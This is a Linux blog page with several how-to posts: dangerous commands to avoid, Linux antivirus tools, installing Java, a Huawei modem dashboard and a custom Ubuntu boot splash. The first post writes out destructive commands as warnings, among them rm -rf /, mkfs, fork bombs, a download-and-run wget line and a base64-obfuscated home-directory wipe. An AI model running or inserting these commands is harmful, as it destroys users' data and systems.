Wednesday, 23 July 2014

Malicious Linux commands to avoid


Warning: Don't run these commands on your machine. They can erase your valuable data or crash your machine.

It is worthwhile to have basic knowledge about malicious commands in Linux. Don't blindly run the commands instructed in websites or scripts downloaded from the internet. Just verify the contents of the script for any commands that can harm your computer.
If you want to know what a command can do use the man pages if you are offline. You can get the information of a command by typing
info <command name>
in the terminal.
Example: info sudo
If you are connected to the internet then type
man <command name>
in the terminal to get the updated documentation.
Example: man sudo
Again, the following commands can heavily damage your OS. These are extremely dangerous and should not be attempted on any computer that has any physical connection to valuable data.

1. COMMANDS THAT CAN DELETE FILES AND FOLDERS

       

rm -rf /
rm -rf .
rm -rf *


rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all sub folders.
rm -rf / means delete everything in the root directory and all sub folders.
rm -rf .  means delete the current directory and all sub folders.
rm -rf * means delete all files in current directory and all sub folders.
2. COMMANDS THAT CAN REFORMAT A DRIVE:
       

mkfs
mkfs.ext3
mkfs.anything

Whatever follows the mkfs command will be destroyed and replaced with a blank filesystem.
3. FORKBOMB:
  • In Bourne-ish shells (like Bash):
       
:(){:|:&};:


 
  • In Perl
       
fork while fork


 
These commands execute a huge number of processes until the system freezes, forcing a hard reset of the computer (which may cause data corruption, operating system damage).


4. TARBOMB:
This tar archive can be crafted to explode into a million files, or can inject files into the system by guessing file names. So, be careful with tar files or compressed files downloaded from the internet.


5. MALICIOUS CODE IN SHELL SCRIPTS:
       
wget http://some_address/some_file
sh ./some_file



Be careful while downloading scripts from the internet. They might contain benign or malicious code. Never execute code from people you don't trust.
6. MALICIOUS SOURCE CODE TO BE COMPILED THEN EXECUTED :
Do not compile or execute the resulting compiled code unless the source is some well-known application obtained from a reputable site.
It is easy to hide malicious code as a part of a source code.


7.BASE64 COMMANDS :
       
echo cm0gLXJmIH4vKg== | base64 -d



This is the base64 form of rm -rf ~/*
So, just be careful while executing commands or scripts.
This post isn't an exhaustive list of malicious commands. There are more malicious commands out there. So, be a command literate before you start using the command-line.
0

ANTI-VIRUS FOR LINUX



Do I need to have an anti-virus software for Linux? Isn't Linux virus free?
If it is virus free then why are some anti-virus software in the software-center? If you are an average user of Linux you might be having these questions.
So, do we really need an anti-virus software installed? The answer is 'yes' and 'no'. Don't worry after reading this post you will know if you need an anti-virus for your Linux.
There are viruses for most all platforms, they are just more common on Windows. You can actually run Windows without a virus scanner if you keep it patched and are really careful. If you are really careful and know what you are doing you can get away without a scanner. The fact of the matter is: viruses/worms take advantage of flaws or holes in the code.
There are some viruses targeted on Linux platform. Linux and other UNIX platforms are regarded are well protected, but not immune to computer viruses. It is said that Linux is not targeted because its low share market made it a less profitable target. But UNIX dominates most of the web servers, scientific workstations etc. An attacker targeting these systems would both have an extremely target-rich environment and instantly earn lasting fame. But that doesn't happen. The reason behind that is Linux is built with security in mind. Even if a security flaw is present there are thousands of eyes watching the code and people fix these flaws very quickly.
But still you might want to install an anti virus so that you might not want to spread windows viruses through your computer or you might want to scan windows partitions etc.
So let's take a look on the anti-viruses available:

CLAM AV:

Clam AV is a command-line based scanner for Linux. It is free and open-source. You can install it from the software-center. To install it from the terminal type the following :

sudo apt-get install clamav
For scanning to work, a virus database is needed. There are two options
for getting it:
clamav-freshclam: updates the database from Internet. This is
recommended with Internet access.
clamav-data: for users without Internet access. The package is
not updated once installed. The clamav-getfiles package allows
creating custom packages from an Internet-connected computer.
CLAM TK:
ClamTk is a GUI front-end for ClamAV using perl-Gtk2. To install it type the following in a terminal:

sudo apt-get install clamtk


The following anti-virus applications are useful to discover MSWindows specific threats. They can be installed by following the instructions given on their respective websites.
  • Avast
  • AVG
  • Avira
  • BitDefender
  • Comodo
  • ClamAV
  • Dr.Web
  • EScan for Linux
  • F-Prot
  • F-Secure Linux
  • Kaspersky Linux Security
  • McAfee VirusScan Enterprise for Linux
  • Panda Security for Linux
  • Symantec AntiVirus for Linux
  • Trend Micro ServerProtect for Linux
The following anti-virus applications will look for Linux specific threats:


  •  ESET
  • rkhunter
  • Sophos
  • chkrootkit
0

INSTALLING JAVA IN UBUNTU



This post explains how to install Java in Ubuntu. You can install Iced tea java (open source) or the Oracle java. Installing Iced tea java is simple where as to install Oracle java you have to struggle a little with the command line.
Let's get started. First I'll tell you how to install iced tea java and then we'll see how to install oracle java.

1. INSTALLING ICED TEA JAVA:

Open a terminal by pressing CTRL + ALT + T keys or by searching for “terminal” in dash. Type the following to installed iced tea java on your machine.

sudo apt-get install openjdk-7-jre icedtea-plugin


That should install the java run time environment and the plugin for your browser.

2. INSTALLING ORACLE JAVA:



To install oracle java you should first download the 32bit or 64bit Linux "compressed binary file" - it has a ".tar.gz" file extension. Now we need to uncompress the file. Right click on the file and select “extract here”. OR you can do it the terminal way:

tar -xvf jre-7-linux-i586.tar.gz

The package is now extracted into a folder. Now move the folder to
/usr/lib.

       
sudo mv ./jre1.7.0* /usr/lib/jvm/jre1.7.0




After that run the following to get a list of currently installed java alternatives:

       
sudo update-alternatives --config java


You will get the output as something like this:
       
There are 2 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
————————————————————
* 0 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 manual mode
2 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode

Press enter to keep the current choice[*], or type selection number:





Now type the following in the terminal:

       
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jre1.7.0/bin/java 3






This will add your new java installation into alternatives list.
Now configure java to use oracle JRE:

       
sudo update-alternatives --config java





You will see output similar to the one below:

       
There are 3 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
————————————————————
* 0 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 manual mode
2 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode
3 /usr/lib/jvm/jre1.7.0/jre/bin/java 3 manual mode

Press enter to keep the current choice[*], or type selection number: 3
update-alternatives: using /usr/lib/jvm/jre1.7.0/jre/bin/java to provide /usr/bin/java (java) in manual mode.


If there was no previous java installation then the new JRE will be the default and you will see output as:

       
There is only one alternative in link group java: /usr/lib/jvm/jre1.7.0/bin/java

Nothing to configure.




Check the version of your new java installation by typing the following in terminal:

       
java -version






It should produce an output similar to the one below:

       
java version "1.7.0_25"

Java(TM) SE Runtime Environment (build 1.7.0_25-b15)

Java HotSpot(TM) 64-Bit Server VM (build 23.25-b01, mixed mode)




INSTALLING FIREFOX JAVA PLUGIN:

In a terminal :

       
mkdir ~/.mozilla/plugins







Now remove a former version of the Java plugin (may or may not be present)
       
rm ~/.mozilla/plugins/libnpjp2.so



Now you can install the plugin, by creating a symbolic link (you tell Firefox, where the plugin is located). For 32bit java use
       
ln -s /usr/lib/jvm/jre1.7.0/lib/i386/libnpjp2.so ~/.mozilla/plugins/


For 64bit java use :

       
ln -s /usr/lib/jvm/jre1.7.0/lib/amd64/libnpjp2.so ~/.mozilla/plugins/





Finally, installation completed successfully!
0

INSTALLING MOBILE PARTNER IN LINUX

Most of you who have a Huawei USB modem (data card) might have tried to install mobile partner (dash board) in Linux. Here I will show you how to install mobile partner in Linux.
First, you have to copy the folder called Linux in the data card. The files in the data card are not accessible from Linux so copy them from Windows.
Now right click the file “install” in the “Linux” folder. Go to the permissions tab and select the check box beside Allow executing as a program. Now open a terminal by pressing CTRL + ALT + T keys. Change the working directory to the folder “Linux” by using “cd <path to folder>”.
Now type ./install. If you had installed this software in your system before, you will get a prompt: "The software is exist, do you want overwrites? ([Y]/[N])", enter "y" to overwrites or "n" to exit.
If you do not had installed this software in your system before, you will get a prompt: "Please input the install path[/usr/local/Mobile_Partner]:". Then you can input install path(fullpath), or you may using the default path(/usr/local/Mobile_Partner) by press ENTER direct.
Now the installation is complete.
-----------------------------How to run--------------------------
* From shortcut in desktop


* Run MobilePartner in your install path
eg: # /<install path>/MobilePartner


* Plug in your device, it will run automatically (Not supported in Xandros)
0

CUSTOMISING UBUNTU BOOT SPLASH SCREEN

Are you bored with the purple boot splash screen in Ubuntu? You can customize the boot splash screen as you wish. After reading this post you will be able to play with your splash screen.

1. Use your favorite Wallpaper to replace the Purple boot splash:



NOTE: 1. Ensure the desktop wallpaper is the correct resolution for your monitor
2. Here there is no animation


INSTRUCTIONS:

Open a terminal by pressing CTRL + ALT + T and type:

       
sudo mkdir /lib/plymouth/themes/simple



This will create a folder called “simple”.

After that rename your wallpaper as “wallpaper.png”. Now we need to copy the wallpaper to /lib/plymouth/themes/simple.

Open nautilus by typing gksu nautilus in the terminal. Now copy the wallpaper to /lib/plymouth/themes/simple.

Return to the terminal and type:
       


sudo gedit /lib/plymouth/themes/simple/simple.plymouth


In gedit paste the following:

       

[Plymouth Theme]

Name=Simple

Description=Wallpaper only

ModuleName=script

[script]

ImageDir=/lib/plymouth/themes/simple

ScriptFile=/lib/plymouth/themes/simple/simple.script







Save it and close.

Again type the following in a terminal:

       

sudo gedit /lib/plymouth/themes/simple/simple.script



In gedit paste the following:

       
wallpaper_image = Image(“wallpaper.png”);

screen_width = Window.GetWidth();

screen_height = Window.GetHeight();

resized_wallpaper_image = wallpaper_image.Scale(screen_width,screen_height);

wallpaper_sprite = Sprite(resized_wallpaper_image);

wallpaper_sprite.SetZ(-100);





Save it and close.

Now type the following in the terminal:

       

sudo update-alternatives --install /lib/plymouth/themes/default.plymouth default.plymouth /lib/plymouth/themes/simple/simple.plymouth 100


Then run the following in a terminal:

       

sudo update-alternatives --config default.plymouth



and select simple from the list.

To finish the changes type:

       


sudo update-initramfs -u






That's it. When you reboot you will your wallpaper.
0